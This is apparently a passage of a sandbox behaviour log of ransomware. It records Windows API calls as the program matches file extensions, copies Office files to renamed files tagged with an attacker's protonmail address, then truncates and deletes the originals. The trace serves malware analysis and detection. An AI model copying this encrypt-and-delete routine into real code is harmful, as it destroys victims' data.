	[0188.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.322] lstrlenW (lpString=".1cd") returned 4
	[0188.322] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0188.322] lstrlenW (lpString=".jpg") returned 4
	[0188.322] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.322] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0188.322] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29
	[0188.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0188.323] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1347630) returned 1
	[0188.323] CloseHandle (hObject=0x5c8) returned 1
	[0188.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220
	[0188.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0188.324] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.324] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0188.325] GetLastError () returned 0x0
	[0188.325] ReadFile (in: hFile=0x5c8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0188.359] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0188.720] ReadFile (in: hFile=0x5c8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4903e, lpOverlapped=0x0) returned 1
	[0188.735] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x49040, lpOverlapped=0x0) returned 1
	[0188.940] ReadFile (in: hFile=0x5c8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.940] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0188.941] SetEndOfFile (hFile=0x580) returned 1
	[0188.941] CloseHandle (hObject=0x580) returned 1
	[0188.941] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.941] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.213] CloseHandle (hObject=0x5c8) returned 1
	[0189.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1
	[0189.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.561] lstrlenW (lpString=".doc") returned 4
	[0189.561] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.561] lstrlenW (lpString=".docx") returned 5
	[0189.561] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0189.561] lstrlenW (lpString=".pdf") returned 4
	[0189.561] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.562] lstrlenW (lpString=".xls") returned 4
	[0189.562] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.562] lstrlenW (lpString=".xlsx") returned 5
	[0189.562] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0189.562] lstrlenW (lpString=".ppt") returned 4
	[0189.562] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.562] lstrlenW (lpString=".zip") returned 4
	[0189.562] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.562] lstrlenW (lpString=".rar") returned 4
	[0189.580] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0189.580] lstrlenW (lpString=".bz2") returned 4
	[0189.580] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.580] lstrlenW (lpString=".7z") returned 3
	[0189.580] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.580] lstrlenW (lpString=".dbf") returned 4
	[0189.580] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.580] lstrlenW (lpString=".1cd") returned 4
	[0189.580] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.581] lstrlenW (lpString=".jpg") returned 4
	[0189.581] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.581] lstrlenW (lpString=".doc") returned 4
	[0189.581] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.581] lstrlenW (lpString=".docx") returned 5
	[0189.581] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0189.581] lstrlenW (lpString=".pdf") returned 4
	[0189.581] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.581] lstrlenW (lpString=".xls") returned 4
	[0189.581] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.581] lstrlenW (lpString=".xlsx") returned 5
	[0189.581] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0189.581] lstrlenW (lpString=".ppt") returned 4
	[0189.581] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.581] lstrlenW (lpString=".zip") returned 4
	[0189.581] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.581] lstrlenW (lpString=".rar") returned 4
	[0189.581] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0189.581] lstrlenW (lpString=".bz2") returned 4
	[0189.581] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.581] lstrlenW (lpString=".7z") returned 3
	[0189.581] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.581] lstrlenW (lpString=".dbf") returned 4
	[0189.582] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.582] lstrlenW (lpString=".1cd") returned 4
	[0189.582] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80
	[0189.582] lstrlenW (lpString=".jpg") returned 4
	[0189.582] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.582] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0189.582] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24
	[0189.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0189.585] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=20775) returned 1
	[0189.586] CloseHandle (hObject=0x4ac) returned 1
	[0189.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220
	[0189.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0189.587] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.587] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.589] GetLastError () returned 0x0
	[0189.589] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x5127, lpOverlapped=0x0) returned 1
	[0189.591] WriteFile (in: hFile=0x5c8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0189.593] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.593] WriteFile (in: hFile=0x5c8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x104, lpOverlapped=0x0) returned 1
	[0189.593] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.593] CloseHandle (hObject=0x5c8) returned 1
	[0189.594] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.594] SetEndOfFile (hFile=0x4ac) returned 1
	[0189.599] CloseHandle (hObject=0x4ac) returned 1
	[0189.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1
	[0189.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.600] lstrlenW (lpString=".doc") returned 4
	[0189.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.600] lstrlenW (lpString=".docx") returned 5
	[0189.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.600] lstrlenW (lpString=".pdf") returned 4
	[0189.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.600] lstrlenW (lpString=".xls") returned 4
	[0189.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.600] lstrlenW (lpString=".xlsx") returned 5
	[0189.600] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.600] lstrlenW (lpString=".ppt") returned 4
	[0189.600] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0189.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.600] lstrlenW (lpString=".zip") returned 4
	[0189.601] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString=".rar") returned 4
	[0189.601] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString=".bz2") returned 4
	[0189.601] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString=".7z") returned 3
	[0189.601] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.601] lstrlenW (lpString=".dbf") returned 4
	[0189.601] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.601] lstrlenW (lpString=".1cd") returned 4
	[0189.601] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.601] lstrlenW (lpString=".jpg") returned 4
	[0189.601] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.601] lstrlenW (lpString=".doc") returned 4
	[0189.601] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString=".docx") returned 5
	[0189.601] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.601] lstrlenW (lpString=".pdf") returned 4
	[0189.601] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString=".xls") returned 4
	[0189.601] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.601] lstrlenW (lpString=".xlsx") returned 5
	[0189.601] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.601] lstrlenW (lpString=".ppt") returned 4
	[0189.601] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.602] lstrlenW (lpString=".zip") returned 4
	[0189.602] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.602] lstrlenW (lpString=".rar") returned 4
	[0189.602] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.602] lstrlenW (lpString=".bz2") returned 4
	[0189.602] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.602] lstrlenW (lpString=".7z") returned 3
	[0189.602] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.602] lstrlenW (lpString=".dbf") returned 4
	[0189.602] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.602] lstrlenW (lpString=".1cd") returned 4
	[0189.602] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0189.602] lstrlenW (lpString=".jpg") returned 4
	[0189.602] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.602] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0189.602] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27
	[0189.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0189.603] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11594) returned 1
	[0189.603] CloseHandle (hObject=0x4ac) returned 1
	[0189.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0189.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0189.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0189.604] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.604] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.605] GetLastError () returned 0x0
	[0189.605] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d4a, lpOverlapped=0x0) returned 1
	[0189.607] WriteFile (in: hFile=0x5c8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0189.608] ReadFile (in: hFile=0x4ac, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.609] WriteFile (in: hFile=0x5c8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0189.609] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.609] CloseHandle (hObject=0x5c8) returned 1
	[0189.609] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.609] SetEndOfFile (hFile=0x4ac) returned 1
	[0189.612] CloseHandle (hObject=0x4ac) returned 1
	[0189.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1
	[0189.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.718] lstrlenW (lpString=".doc") returned 4
	[0189.718] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.718] lstrlenW (lpString=".docx") returned 5
	[0189.718] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.718] lstrlenW (lpString=".pdf") returned 4
	[0189.718] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.718] lstrlenW (lpString=".xls") returned 4
	[0189.718] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.718] lstrlenW (lpString=".xlsx") returned 5
	[0189.718] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.718] lstrlenW (lpString=".ppt") returned 4
	[0189.718] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0189.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.718] lstrlenW (lpString=".zip") returned 4
	[0189.718] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0189.718] lstrlenW (lpString=".rar") returned 4
	[0189.718] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0189.718] lstrlenW (lpString=".bz2") returned 4
	[0189.718] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0189.718] lstrlenW (lpString=".7z") returned 3
	[0189.718] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0189.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.718] lstrlenW (lpString=".dbf") returned 4
	[0189.718] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.719] lstrlenW (lpString=".1cd") returned 4
	[0189.719] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.719] lstrlenW (lpString=".jpg") returned 4
	[0189.719] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0189.719] lstrlenW (lpString=".doc") returned 4
	[0189.719] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString=".docx") returned 5
	[0189.719] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0189.719] lstrlenW (lpString=".pdf") returned 4
	[0189.719] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString=".xls") returned 4
	[0189.719] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0189.719] lstrlenW (lpString=".xlsx") returned 5
	[0189.719] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0189.719] lstrlenW (lpString=".ppt") returned 4
	[0189.719] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
